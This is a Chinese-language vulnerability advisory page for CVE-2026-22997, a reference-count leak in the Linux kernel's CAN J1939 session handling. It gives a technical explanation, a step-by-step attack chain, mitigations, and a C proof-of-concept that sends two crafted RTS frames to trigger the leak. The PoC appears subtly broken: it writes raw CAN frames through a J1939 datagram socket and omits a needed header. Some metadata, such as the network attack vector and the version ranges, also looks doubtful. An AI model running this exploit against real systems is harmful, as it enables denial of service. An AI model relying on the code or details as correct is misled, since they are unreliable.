IPBUF安全漏洞报告
English
CVE-2026-22997 CVSS 7.5 高危

CVE-2026-22997 Linux kernel j1939_session 引用计数泄漏漏洞

披露日期: 2026-01-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-22997
漏洞类型
资源泄漏/引用计数泄漏
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel (net: can: j1939)

相关标签

CVE-2026-22997Linux kernel资源泄漏引用计数泄漏CAN J1939j1939_session高危漏洞网络协议栈拒绝服务

漏洞概述

CVE-2026-22997是Linux内核中net:can:j1939模块的一个高危安全漏洞,CVSS评分7.5。该漏洞存在于j1939_xtp_rx_rts_session_active()函数中,当接收到第二个RTS(Request To Send)消息时,未能正确调用j1939_session_deactivate_activate_next()函数来释放会话资源。由于j1939_session_deactivate_activate_next()仅在定时器启用时被调用,当定时器被取消时,该函数不会被执行,导致j1939_session的引用计数泄漏。长时间运行后,受影响系统的vcan0设备会出现"unregister_netdevice: waiting for vcan0 to become free. Usage count = 2"的错误信息,表明资源未被正确释放,可能导致系统可用性下降或拒绝服务。攻击者可通过发送特制的CAN J1939协议数据包触发此漏洞。

技术细节

该漏洞位于Linux内核的CAN J1939(Controller Area Network J1939)协议实现中。问题出在j1939_xtp_rx_rts_session_active()函数处理第二个RTS消息的逻辑中。当该函数接收到第二个RTS消息时,虽然取消了定时器(timer),但未能调用j1939_session_deactivate_activate_next()函数来正确释放会话资源。具体来说,j1939_tp_rxtimer()函数中的j1939_session_deactivate_activate_next()调用依赖于定时器的启用状态。在某些情况下(如接收到第二个RTS),定时器会被提前取消,导致该释放函数永远不会被执行。这会造成j1939_session对象的引用计数持续增加而无法归零,最终导致内核无法卸载vcan网络设备。攻击者需要构造包含两个RTS消息的恶意CAN数据包,通过网络发送到目标系统的CAN接口即可触发此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统上运行的支持CAN J1939协议的内核模块
STEP 2
步骤2
攻击者构造包含第一个RTS(Request To Send)消息的恶意CAN数据包,发送到目标系统的CAN接口
STEP 3
步骤3
内核j1939_xtp_rx_rts_session_active()函数处理第一个RTS,建立会话并启动定时器
STEP 4
步骤4
攻击者立即发送第二个RTS消息,触发定时器取消逻辑
STEP 5
步骤5
由于定时器被取消,j1939_session_deactivate_activate_next()函数未被调用,导致j1939_session引用计数泄漏
STEP 6
步骤6
重复触发后,引用计数持续累积,最终导致vcan0设备无法卸载,出现'Usage count = 2'错误

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22997 PoC - Trigger j1939_session refcount leak // This PoC demonstrates sending malicious RTS packets to trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/can.h> #include <linux/can/j1939.h> #define CAN_IFACE "vcan0" #define TARGET_PGN 0x0EE00 // Transport Protocol connection management PGN void send_rts_packet(int sock, struct sockaddr_can *addr) { struct can_frame frame; memset(&frame, 0, sizeof(frame)); // Construct RTS (Request To Send) message // RTS CA: 0xEE00 -> TP.CM_RTS frame.can_id = CAN_EFF_FLAG | TARGET_PGN; frame.can_dlc = 8; // TP.CM_RTS packet structure: // Byte 0: 16 (RTS message size) // Byte 1-2: Total message size // Byte 3: Max packets // Byte 4: CTS (Clear To Send) // Byte 5-6: PGN of data // Byte 7: Reserved frame.data[0] = 0x10; // RTS indicator frame.data[1] = 0x00; frame.data[2] = 0x08; // Total size frame.data[3] = 0x01; // Max packets frame.data[4] = 0xFF; // CTS frame.data[5] = 0x00; frame.data[6] = 0x00; frame.data[7] = 0xFF; // Reserved if (write(sock, &frame, sizeof(frame)) != sizeof(frame)) { perror("write failed"); } } int main() { int sock; struct sockaddr_can addr; struct ifreq ifr; // Create socket sock = socket(PF_CAN, SOCK_DGRAM, CAN_J1939); if (sock < 0) { perror("socket failed"); return 1; } // Get interface index strcpy(ifr.ifr_name, CAN_IFACE); if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl failed"); return 1; } // Setup address memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; addr.can_ifindex = ifr.ifr_ifindex; addr.j1939.name = 0x10000; // Source name addr.j1939.pgn = TARGET_PGN; addr.j1939.addr = J1939_NO_ADDR; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); return 1; } printf("Sending first RTS packet...\n"); send_rts_packet(sock, &addr); usleep(100000); // Small delay printf("Sending second RTS packet (triggers vulnerability)...\n"); send_rts_packet(sock, &addr); printf("Packets sent. Check for 'Usage count = 2' in dmesg.\n"); close(sock); return 0; }

影响范围

Linux kernel < 5.10.x (with j1939 module enabled)
Linux kernel < 5.15.x
Linux kernel < 6.1.x
Specific commits: 1809c82aa073a11b7d335ae932d81ce51a588a4a, 6121b7564c725b632ffe4764abe85aa239d37703, 809a437e27a3bf3c1c6c8c157773635552116f2b, a73e7d7e346dae1c22dc3e95b02ca464b12daf2c, adabf01c19561e42899da9de56a6a1da0e6b8a5b

防御指南

临时缓解措施
如果无法立即升级内核,可采取以下临时缓解措施:1) 禁用不必要的CAN/J1939接口,通过在/etc/modprobe.d/中 blacklist can-j1939或设置内核引导参数can.j1939=0;2) 使用网络访问控制限制对CAN总线的访问;3) 监控系统日志(dmesg)中是否出现'unregister_netdevice: waiting for vcan0 to become free'等异常信息;4) 限制非授权用户访问CAN设备节点;5) 部署入侵检测系统监控异常的CAN流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表